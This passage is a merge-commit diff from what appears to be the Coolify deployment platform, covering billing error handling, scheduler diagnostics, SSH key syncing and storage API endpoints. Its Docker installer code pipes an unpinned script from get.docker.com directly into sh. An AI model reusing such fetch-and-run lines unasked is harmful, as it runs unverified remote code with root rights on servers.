Merge branch 'next' into v4.x

This commit is contained in:
matfire 2026-03-24 20:18:01 +01:00 committed by GitHub
commit 8ef0f07b5b
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
110 changed files with 9222 additions and 1522 deletions

View file

@ -24,6 +24,10 @@ RAY_ENABLED=false
# Enable Laravel Telescope for debugging
TELESCOPE_ENABLED=false
# Enable Laravel Nightwatch monitoring
NIGHTWATCH_ENABLED=false
NIGHTWATCH_TOKEN=
# Selenium Driver URL for Dusk
DUSK_DRIVER_URL=http://selenium:4444

View file

@ -59,6 +59,7 @@ ### Huge Sponsors
* [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality
* [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API
* [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs
*
### Big Sponsors
@ -69,7 +70,7 @@ ### Big Sponsors
* [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions
* [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner
* [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform
* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain
* [Context.dev](https://context.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain
* [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale
* [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half
* [COMIT](https://comit.international?ref=coolify.io) - New York Times awardwinning contractor
@ -89,6 +90,7 @@ ### Big Sponsors
* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers
* [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity
* [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity
* [PetroSky Cloud](https://petrosky.io?ref=coolify.io) - Open source cloud deployment solutions
* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang
* [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting
* [SaasyKit](https://saasykit.com?ref=coolify.io) - Complete SaaS starter kit for developers

View file

@ -11,11 +11,8 @@ class InstallDocker
{
use AsAction;
private string $dockerVersion;
public function handle(Server $server)
{
$this->dockerVersion = config('constants.docker.minimum_required_version');
$supported_os_type = $server->validateOS();
if (! $supported_os_type) {
throw new \Exception('Server OS type is not supported for automated installation. Please install Docker manually before continuing: <a target="_blank" class="underline" href="https://coolify.io/docs/installation#manually">documentation</a>.');
@ -118,7 +115,7 @@ public function handle(Server $server)
private function getDebianDockerInstallCommand(): string
{
return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
return 'curl -fsSL https://get.docker.com | sh || ('.
'. /etc/os-release && '.
'install -m 0755 -d /etc/apt/keyrings && '.
'curl -fsSL https://download.docker.com/linux/${ID}/gpg -o /etc/apt/keyrings/docker.asc && '.
@ -131,7 +128,7 @@ private function getDebianDockerInstallCommand(): string
private function getRhelDockerInstallCommand(): string
{
return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
return 'curl -fsSL https://get.docker.com | sh || ('.
'dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo && '.
'dnf install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '.
'systemctl start docker && '.
@ -141,7 +138,7 @@ private function getRhelDockerInstallCommand(): string
private function getSuseDockerInstallCommand(): string
{
return "curl https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl https://get.docker.com | sh -s -- --version {$this->dockerVersion} || (".
return 'curl -fsSL https://get.docker.com | sh || ('.
'zypper addrepo https://download.docker.com/linux/sles/docker-ce.repo && '.
'zypper refresh && '.
'zypper install -y --no-confirm docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin && '.
@ -152,10 +149,6 @@ private function getSuseDockerInstallCommand(): string
private function getArchDockerInstallCommand(): string
{
// Use -Syu to perform full system upgrade before installing Docker
// Partial upgrades (-Sy without -u) are discouraged on Arch Linux
// as they can lead to broken dependencies and system instability
// Use --needed to skip reinstalling packages that are already up-to-date (idempotent)
return 'pacman -Syu --noconfirm --needed docker docker-compose && '.
'systemctl enable docker.service && '.
'systemctl start docker.service';
@ -163,6 +156,6 @@ private function getArchDockerInstallCommand(): string
private function getGenericDockerInstallCommand(): string
{
return "curl --max-time 300 --retry 3 https://releases.rancher.com/install-docker/{$this->dockerVersion}.sh | sh || curl --max-time 300 --retry 3 https://get.docker.com | sh -s -- --version {$this->dockerVersion}";
return 'curl -fsSL https://get.docker.com | sh';
}
}

View file

@ -19,7 +19,7 @@ public function __construct(?StripeClient $stripe = null)
/**
* Check if the team's subscription is eligible for a refund.
*
* @return array{eligible: bool, days_remaining: int, reason: string}
* @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null}
*/
public function checkEligibility(Team $team): array
{
@ -43,8 +43,10 @@ public function checkEligibility(Team $team): array
return $this->ineligible('Subscription not found in Stripe.');
}
$currentPeriodEnd = $stripeSubscription->current_period_end;
if (! in_array($stripeSubscription->status, ['active', 'trialing'])) {
return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.");
return $this->ineligible("Subscription status is '{$stripeSubscription->status}'.", $currentPeriodEnd);
}
$startDate = \Carbon\Carbon::createFromTimestamp($stripeSubscription->start_date);
@ -52,13 +54,14 @@ public function checkEligibility(Team $team): array
$daysRemaining = self::REFUND_WINDOW_DAYS - $daysSinceStart;
if ($daysRemaining <= 0) {
return $this->ineligible('The 30-day refund window has expired.');
return $this->ineligible('The 30-day refund window has expired.', $currentPeriodEnd);
}
return [
'eligible' => true,
'days_remaining' => $daysRemaining,
'reason' => 'Eligible for refund.',
'current_period_end' => $currentPeriodEnd,
];
}
@ -99,16 +102,27 @@ public function execute(Team $team): array
'payment_intent' => $paymentIntentId,
]);
$this->stripe->subscriptions->cancel($subscription->stripe_subscription_id);
// Record refund immediately so it cannot be retried if cancel fails
$subscription->update([
'stripe_refunded_at' => now(),
'stripe_feedback' => 'Refund requested by user',
'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(),
]);
try {
$this->stripe->subscriptions->cancel($subscription->stripe_subscription_id);
} catch (\Exception $e) {
\Log::critical("Refund succeeded but subscription cancel failed for team {$team->id}: ".$e->getMessage());
send_internal_notification(
"CRITICAL: Refund succeeded but cancel failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual intervention required."
);
}
$subscription->update([
'stripe_cancel_at_period_end' => false,
'stripe_invoice_paid' => false,
'stripe_trial_already_ended' => false,
'stripe_past_due' => false,
'stripe_feedback' => 'Refund requested by user',
'stripe_comment' => 'Full refund processed within 30-day window at '.now()->toDateTimeString(),
'stripe_refunded_at' => now(),
]);
$team->subscriptionEnded();
@ -128,14 +142,15 @@ public function execute(Team $team): array
}
/**
* @return array{eligible: bool, days_remaining: int, reason: string}
* @return array{eligible: bool, days_remaining: int, reason: string, current_period_end: int|null}
*/
private function ineligible(string $reason): array
private function ineligible(string $reason, ?int $currentPeriodEnd = null): array
{
return [
'eligible' => false,
'days_remaining' => 0,
'reason' => $reason,
'current_period_end' => $currentPeriodEnd,
];
}
}

View file

@ -153,12 +153,19 @@ public function execute(Team $team, int $quantity): array
\Log::warning("Subscription {$subscription->stripe_subscription_id} quantity updated but invoice not paid (status: {$latestInvoice->status}) for team {$team->name}. Reverting to {$previousQuantity}.");
// Revert subscription quantity on Stripe
$this->stripe->subscriptions->update($subscription->stripe_subscription_id, [
'items' => [
['id' => $item->id, 'quantity' => $previousQuantity],
],
'proration_behavior' => 'none',
]);
try {
$this->stripe->subscriptions->update($subscription->stripe_subscription_id, [
'items' => [
['id' => $item->id, 'quantity' => $previousQuantity],
],
'proration_behavior' => 'none',
]);
} catch (\Exception $revertException) {
\Log::critical("Failed to revert Stripe quantity for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Stripe may have quantity {$quantity} but local is {$previousQuantity}. Error: ".$revertException->getMessage());
send_internal_notification(
"CRITICAL: Stripe quantity revert failed for subscription {$subscription->stripe_subscription_id}, team {$team->id}. Manual reconciliation required."
);
}
// Void the unpaid invoice
if ($latestInvoice->id) {

View file

@ -0,0 +1,22 @@
<?php
namespace App\Console\Commands;
use Illuminate\Console\Command;
class Nightwatch extends Command
{
protected $signature = 'start:nightwatch';
protected $description = 'Start Nightwatch';
public function handle(): void
{
if (config('constants.nightwatch.is_nightwatch_enabled')) {
$this->info('Nightwatch is enabled on this server.');
$this->call('nightwatch:agent');
}
exit(0);
}
}

View file

@ -0,0 +1,255 @@
<?php
namespace App\Console\Commands;
use App\Models\DockerCleanupExecution;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledTask;
use App\Models\Server;
use App\Models\Team;
use Illuminate\Console\Command;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
class ScheduledJobDiagnostics extends Command
{
protected $signature = 'scheduled:diagnostics
{--type=all : Type to inspect: docker-cleanup, backups, tasks, server-jobs, all}
{--server= : Filter by server ID}';
protected $description = 'Inspect dedup cache state and scheduling decisions for all scheduled jobs';
public function handle(): int
{
$type = $this->option('type');
$serverFilter = $this->option('server');
$this->outputHeartbeat();
if (in_array($type, ['all', 'docker-cleanup'])) {
$this->inspectDockerCleanups($serverFilter);
}
if (in_array($type, ['all', 'backups'])) {
$this->inspectBackups();
}
if (in_array($type, ['all', 'tasks'])) {
$this->inspectTasks();
}
if (in_array($type, ['all', 'server-jobs'])) {
$this->inspectServerJobs($serverFilter);
}
return self::SUCCESS;
}
private function outputHeartbeat(): void
{
$heartbeat = Cache::get('scheduled-job-manager:heartbeat');
if ($heartbeat) {
$age = Carbon::parse($heartbeat)->diffForHumans();
$this->info("Scheduler heartbeat: {$heartbeat} ({$age})");
} else {
$this->error('Scheduler heartbeat: MISSING — ScheduledJobManager may not be running');
}
$this->newLine();
}
private function inspectDockerCleanups(?string $serverFilter): void
{
$this->info('=== Docker Cleanup Jobs ===');
$servers = $this->getServers($serverFilter);
$rows = [];
foreach ($servers as $server) {
$frequency = data_get($server->settings, 'docker_cleanup_frequency', '0 * * * *');
if (isset(VALID_CRON_STRINGS[$frequency])) {
$frequency = VALID_CRON_STRINGS[$frequency];
}
$dedupKey = "docker-cleanup:{$server->id}";
$cacheValue = Cache::get($dedupKey);
$timezone = data_get($server->settings, 'server_timezone', config('app.timezone'));
if (validate_timezone($timezone) === false) {
$timezone = config('app.timezone');
}
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
$lastExecution = DockerCleanupExecution::where('server_id', $server->id)
->latest()
->first();
$rows[] = [
$server->id,
$server->name,
$timezone,
$frequency,
$dedupKey,
$cacheValue ?? '<missing>',
$wouldFire ? 'YES' : 'no',
$lastExecution ? $lastExecution->status.' @ '.$lastExecution->created_at : 'never',
];
}
$this->table(
['ID', 'Server', 'TZ', 'Frequency', 'Dedup Key', 'Cache Value', 'Would Fire', 'Last Execution'],
$rows
);
$this->newLine();
}
private function inspectBackups(): void
{
$this->info('=== Scheduled Backups ===');
$backups = ScheduledDatabaseBackup::with(['database'])
->where('enabled', true)
->get();
$rows = [];
foreach ($backups as $backup) {
$server = $backup->server();
$frequency = $backup->frequency;
if (isset(VALID_CRON_STRINGS[$frequency])) {
$frequency = VALID_CRON_STRINGS[$frequency];
}
$dedupKey = "scheduled-backup:{$backup->id}";
$cacheValue = Cache::get($dedupKey);
$timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone');
if (validate_timezone($timezone) === false) {
$timezone = config('app.timezone');
}
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
$rows[] = [
$backup->id,
$backup->database_type ?? 'unknown',
$server?->name ?? 'N/A',
$frequency,
$cacheValue ?? '<missing>',
$wouldFire ? 'YES' : 'no',
];
}
$this->table(
['Backup ID', 'DB Type', 'Server', 'Frequency', 'Cache Value', 'Would Fire'],
$rows
);
$this->newLine();
}
private function inspectTasks(): void
{
$this->info('=== Scheduled Tasks ===');
$tasks = ScheduledTask::with(['service', 'application'])
->where('enabled', true)
->get();
$rows = [];
foreach ($tasks as $task) {
$server = $task->server();
$frequency = $task->frequency;
if (isset(VALID_CRON_STRINGS[$frequency])) {
$frequency = VALID_CRON_STRINGS[$frequency];
}
$dedupKey = "scheduled-task:{$task->id}";
$cacheValue = Cache::get($dedupKey);
$timezone = $server ? data_get($server->settings, 'server_timezone', config('app.timezone')) : config('app.timezone');
if (validate_timezone($timezone) === false) {
$timezone = config('app.timezone');
}
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
$rows[] = [
$task->id,
$task->name,
$server?->name ?? 'N/A',
$frequency,
$cacheValue ?? '<missing>',
$wouldFire ? 'YES' : 'no',
];
}
$this->table(
['Task ID', 'Name', 'Server', 'Frequency', 'Cache Value', 'Would Fire'],
$rows
);
$this->newLine();
}
private function inspectServerJobs(?string $serverFilter): void
{
$this->info('=== Server Manager Jobs ===');
$servers = $this->getServers($serverFilter);
$rows = [];
foreach ($servers as $server) {
$timezone = data_get($server->settings, 'server_timezone', config('app.timezone'));
if (validate_timezone($timezone) === false) {
$timezone = config('app.timezone');
}
$dedupKeys = [
"sentinel-restart:{$server->id}" => '0 0 * * *',
"server-patch-check:{$server->id}" => '0 0 * * 0',
"server-check:{$server->id}" => isCloud() ? '*/5 * * * *' : '* * * * *',
"server-storage-check:{$server->id}" => data_get($server->settings, 'server_disk_usage_check_frequency', '0 23 * * *'),
];
foreach ($dedupKeys as $dedupKey => $frequency) {
if (isset(VALID_CRON_STRINGS[$frequency])) {
$frequency = VALID_CRON_STRINGS[$frequency];
}
$cacheValue = Cache::get($dedupKey);
$wouldFire = shouldRunCronNow($frequency, $timezone, $dedupKey);
$rows[] = [
$server->id,
$server->name,
$dedupKey,
$frequency,
$cacheValue ?? '<missing>',
$wouldFire ? 'YES' : 'no',
];
}
}
$this->table(
['Server ID', 'Server', 'Dedup Key', 'Frequency', 'Cache Value', 'Would Fire'],
$rows
);
$this->newLine();
}
private function getServers(?string $serverFilter): \Illuminate\Support\Collection
{
$query = Server::with('settings')->where('ip', '!=', '1.2.3.4');
if ($serverFilter) {
$query->where('id', $serverFilter);
}
if (isCloud()) {
$servers = $query->whereRelation('team.subscription', 'stripe_invoice_paid', true)->get();
$own = Team::find(0)?->servers()->with('settings')->get() ?? collect();
return $servers->merge($own);
}
return $query->get();
}
}

View file

@ -8,6 +8,7 @@
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use Illuminate\Support\Facades\Storage;
class SshMultiplexingHelper
{
@ -209,12 +210,37 @@ private static function isMultiplexingEnabled(): bool
private static function validateSshKey(PrivateKey $privateKey): void
{
$keyLocation = $privateKey->getKeyLocation();
$checkKeyCommand = "ls $keyLocation 2>/dev/null";
$keyCheckProcess = Process::run($checkKeyCommand);
$filename = "ssh_key@{$privateKey->uuid}";
$disk = Storage::disk('ssh-keys');
if ($keyCheckProcess->exitCode() !== 0) {
$needsRewrite = false;
if (! $disk->exists($filename)) {
$needsRewrite = true;
} else {
$diskContent = $disk->get($filename);
if ($diskContent !== $privateKey->private_key) {
Log::warning('SSH key file content does not match database, resyncing', [
'key_uuid' => $privateKey->uuid,
]);
$needsRewrite = true;
}
}
if ($needsRewrite) {
$privateKey->storeInFileSystem();
}
// Ensure correct permissions (SSH requires 0600)
if (file_exists($keyLocation)) {
$currentPerms = fileperms($keyLocation) & 0777;
if ($currentPerms !== 0600 && ! chmod($keyLocation, 0600)) {
Log::warning('Failed to set SSH key file permissions to 0600', [
'key_uuid' => $privateKey->uuid,
'path' => $keyLocation,
]);
}
}
}
private static function getCommonSshOptions(Server $server, string $sshKeyLocation, int $connectionTimeout, int $serverInterval, bool $isScp = false): string

View file

@ -11,6 +11,8 @@
use App\Models\Application;
use App\Models\EnvironmentVariable;
use App\Models\GithubApp;
use App\Models\LocalFileVolume;
use App\Models\LocalPersistentVolume;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
@ -18,6 +20,7 @@
use App\Rules\ValidGitBranch;
use App\Rules\ValidGitRepositoryUrl;
use App\Services\DockerImageParser;
use Illuminate\Http\JsonResponse;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Validator;
@ -2471,7 +2474,7 @@ public function update_by_uuid(Request $request)
$this->authorize('update', $application);
$server = $application->destination->server;
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$allowedFields = ['name', 'description', 'is_static', 'is_spa', 'is_auto_deploy_enabled', 'is_force_https_enabled', 'domains', 'git_repository', 'git_branch', 'git_commit_sha', 'docker_registry_image_name', 'docker_registry_image_tag', 'build_pack', 'static_image', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'ports_mappings', 'custom_network_aliases', 'base_directory', 'publish_directory', 'health_check_enabled', 'health_check_type', 'health_check_command', 'health_check_path', 'health_check_port', 'health_check_host', 'health_check_method', 'health_check_return_code', 'health_check_scheme', 'health_check_response_text', 'health_check_interval', 'health_check_timeout', 'health_check_retries', 'health_check_start_period', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'custom_labels', 'custom_docker_run_options', 'post_deployment_command', 'post_deployment_command_container', 'pre_deployment_command', 'pre_deployment_command_container', 'watch_paths', 'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'dockerfile_target_build', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled'];
$validationRules = [
'name' => 'string|max:255',
@ -2482,8 +2485,6 @@ public function update_by_uuid(Request $request)
'docker_compose_domains.*' => 'array:name,domain',
'docker_compose_domains.*.name' => 'string|required',
'docker_compose_domains.*.domain' => 'string|nullable',
'docker_compose_custom_start_command' => 'string|nullable',
'docker_compose_custom_build_command' => 'string|nullable',
'custom_nginx_configuration' => 'string|nullable',
'is_http_basic_auth_enabled' => 'boolean|nullable',
'http_basic_auth_username' => 'string',
@ -2958,7 +2959,7 @@ public function update_env_by_uuid(Request $request)
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
if (! $application) {
return response()->json([
@ -3159,7 +3160,7 @@ public function create_bulk_envs(Request $request)
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
if (! $application) {
return response()->json([
@ -3176,7 +3177,7 @@ public function create_bulk_envs(Request $request)
], 400);
}
$bulk_data = collect($bulk_data)->map(function ($item) {
return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime']);
return collect($item)->only(['key', 'value', 'is_preview', 'is_literal', 'is_multiline', 'is_shown_once', 'is_runtime', 'is_buildtime', 'comment']);
});
$returnedEnvs = collect();
foreach ($bulk_data as $item) {
@ -3189,6 +3190,7 @@ public function create_bulk_envs(Request $request)
'is_shown_once' => 'boolean',
'is_runtime' => 'boolean',
'is_buildtime' => 'boolean',
'comment' => 'string|nullable|max:256',
]);
if ($validator->fails()) {
return response()->json([
@ -3221,6 +3223,9 @@ public function create_bulk_envs(Request $request)
if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) {
$env->is_buildtime = $item->get('is_buildtime');
}
if ($item->has('comment') && $env->comment != $item->get('comment')) {
$env->comment = $item->get('comment');
}
$env->save();
} else {
$env = $application->environment_variables()->create([
@ -3232,6 +3237,7 @@ public function create_bulk_envs(Request $request)
'is_shown_once' => $is_shown_once,
'is_runtime' => $item->get('is_runtime', true),
'is_buildtime' => $item->get('is_buildtime', true),
'comment' => $item->get('comment'),
'resourceable_type' => get_class($application),
'resourceable_id' => $application->id,
]);
@ -3255,6 +3261,9 @@ public function create_bulk_envs(Request $request)
if ($item->has('is_buildtime') && $env->is_buildtime != $item->get('is_buildtime')) {
$env->is_buildtime = $item->get('is_buildtime');
}
if ($item->has('comment') && $env->comment != $item->get('comment')) {
$env->comment = $item->get('comment');
}
$env->save();
} else {
$env = $application->environment_variables()->create([
@ -3266,6 +3275,7 @@ public function create_bulk_envs(Request $request)
'is_shown_once' => $is_shown_once,
'is_runtime' => $item->get('is_runtime', true),
'is_buildtime' => $item->get('is_buildtime', true),
'comment' => $item->get('comment'),
'resourceable_type' => get_class($application),
'resourceable_id' => $application->id,
]);
@ -3353,7 +3363,7 @@ public function create_env(Request $request)
if (is_null($teamId)) {
return invalidTokenResponse();
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
if (! $application) {
return response()->json([
@ -3510,7 +3520,7 @@ public function delete_env_by_uuid(Request $request)
if (is_null($teamId)) {
return invalidTokenResponse();
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
if (! $application) {
return response()->json([
@ -3520,7 +3530,7 @@ public function delete_env_by_uuid(Request $request)
$this->authorize('manageEnvironment', $application);
$found_env = EnvironmentVariable::where('uuid', $request->env_uuid)
$found_env = EnvironmentVariable::where('uuid', $request->route('env_uuid'))
->where('resourceable_type', Application::class)
->where('resourceable_id', $application->id)
->first();
@ -3919,4 +3929,525 @@ private function validateDataApplications(Request $request, Server $server)
}
}
}
#[OA\Get(
summary: 'List Storages',
description: 'List all persistent storages and file storages by application UUID.',
path: '/applications/{uuid}/storages',
operationId: 'list-storages-by-application-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Applications'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the application.',
required: true,
schema: new OA\Schema(
type: 'string',
)
),
],
responses: [
new OA\Response(
response: 200,
description: 'All storages by application UUID.',
content: new OA\JsonContent(
properties: [
new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')),
new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')),
],
),
),
new OA\Response(
response: 401,
ref: '#/components/responses/401',
),
new OA\Response(
response: 400,
ref: '#/components/responses/400',
),
new OA\Response(
response: 404,
ref: '#/components/responses/404',
),
]
)]
public function storages(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->uuid)->first();
if (! $application) {
return response()->json([
'message' => 'Application not found',
], 404);
}
$this->authorize('view', $application);
$persistentStorages = $application->persistentStorages->sortBy('id')->values();
$fileStorages = $application->fileStorages->sortBy('id')->values();
return response()->json([
'persistent_storages' => $persistentStorages,
'file_storages' => $fileStorages,
]);
}
#[OA\Patch(
summary: 'Update Storage',
description: 'Update a persistent storage or file storage by application UUID.',
path: '/applications/{uuid}/storages',
operationId: 'update-storage-by-application-uuid',
security: [
['bearerAuth' => []],
],
tags: ['Applications'],
parameters: [
new OA\Parameter(
name: 'uuid',
in: 'path',
description: 'UUID of the application.',
required: true,
schema: new OA\Schema(
type: 'string',
)
),
],
requestBody: new OA\RequestBody(
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.',
required: true,
content: [
new OA\MediaType(
mediaType: 'application/json',
schema: new OA\Schema(
type: 'object',
required: ['type'],
properties: [
'uuid' => ['type' => 'string', 'description' => 'The UUID of the storage (preferred).'],
'id' => ['type' => 'integer', 'description' => 'The ID of the storage (deprecated, use uuid instead).'],
'type' => ['type' => 'string', 'enum' => ['persistent', 'file'], 'description' => 'The type of storage: persistent or file.'],
'is_preview_suffix_enabled' => ['type' => 'boolean', 'description' => 'Whether to add -pr-N suffix for preview deployments.'],
'name' => ['type' => 'string', 'description' => 'The volume name (persistent only, not allowed for read-only storages).'],
'mount_path' => ['type' => 'string', 'description' => 'The container mount path (not allowed for read-only storages).'],
'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'],
'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'],
],
additionalProperties: false,
),
),
],
),
responses: [
new OA\Response(
response: 200,
description: 'Storage updated.',
content: new OA\JsonContent(type: 'object'),
),
new OA\Response(
response: 401,
ref: '#/components/responses/401',
),
new OA\Response(
response: 400,
ref: '#/components/responses/400',
),
new OA\Response(
response: 404,
ref: '#/components/responses/404',
),
new OA\Response(
response: 422,
ref: '#/components/responses/422',
),
]
)]
public function update_storage(Request $request): JsonResponse
{
$teamId = getTeamIdFromToken();
if (is_null($teamId)) {
return invalidTokenResponse();
}
$return = validateIncomingRequest($request);
if ($return instanceof \Illuminate\Http\JsonResponse) {
return $return;
}
$application = Application::ownedByCurrentTeamAPI($teamId)->where('uuid', $request->route('uuid'))->first();
if (! $application) {
return response()->json([
'message' => 'Application not found',
], 404);
}
$this->authorize('update', $application);
$validator = customApiValidator($request->all(), [
'uuid' => 'string',
'id' => 'integer',
'type' => 'required|string|in:persistent,file',
'is_preview_suffix_enabled' => 'boolean',
'name' => 'string',
'mount_path' => 'string',
'host_path' => 'string|nullable',
'content' => 'string|nullable',
]);
$allAllowedFields = ['uuid', 'id', 'type', 'is_preview_suffix_enabled', 'name', 'mount_path', 'host_path', 'content'];
$extraFields = array_diff(array_keys($request->all()), $allAllowedFields);
if ($validator->fails() || ! empty($extraFields)) {
$errors = $validator->errors();
if (! empty($extraFields)) {
foreach ($extraFields as $field) {
$errors->add($field, 'This field is not allowed.');
}
}
return response()->json([
'message' => 'Validation failed.',
'errors' => $errors,
], 422);
}
$storageUuid = $request->input('uuid');
$storageId = $request->input('id');
if (! $storageUuid && ! $storageId) {
return response()->json([
'message' => 'Validation failed.',
'errors' => ['uuid' => 'Either uuid or id is required.'],
], 422);
}
$lookupField = $storageUuid ? 'uuid' : 'id';
$lookupValue = $storageUuid ?? $storageId;
if ($request->type === 'persistent') {
$storage = $application->persistentStorages->where($lookupField, $lookupValue)->first();
} else {
$storage = $application->fileStorages->where($lookupField, $lookupValue)->first();
}
if (! $storage) {
return response()->json([
'message' => 'Storage not found.',
], 404);
}
$isReadOnly = $storage->shouldBeReadOnlyInUI();
$editableOnlyFields = ['name', 'mount_path', 'host_path', 'content'];
$requestedEditableFields = array_intersect($editableOnlyFields, array_keys($request->all()));
if ($isReadOnly && ! empty($requestedEditableFields)) {
return response()->json([
'message' => 'This storage is read-only (managed by docker-compose or service definition). Only is_preview_suffix_enabled can be updated.',
'read_only_fields' => array_values($requestedEditableFields),
], 422);
}
// Reject fields that don't apply to the given storage type
if (! $isReadOnly) {
$typeSpecificInvalidFields = $request->type === 'persistent'
? array_intersect(['content'], array_keys($request->all()))
: array_intersect(['name', 'host_path'], array_keys($request->all()));
if (! empty($typeSpecificInvalidFields)) {
return response()->json([
'message' => 'Validation failed.',
'errors' => collect($typeSpecificInvalidFields)
->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]),
], 422);
}
}
// Always allowed
if ($request->has('is_preview_suffix_enabled')) {
$storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled;
}
// Only for editable storages
if (! $isReadOnly) {
if ($request->type === 'persistent') {
if ($request->has('name')) {
$storage->name = $request->name;
}
if ($request->has('mount_path')) {
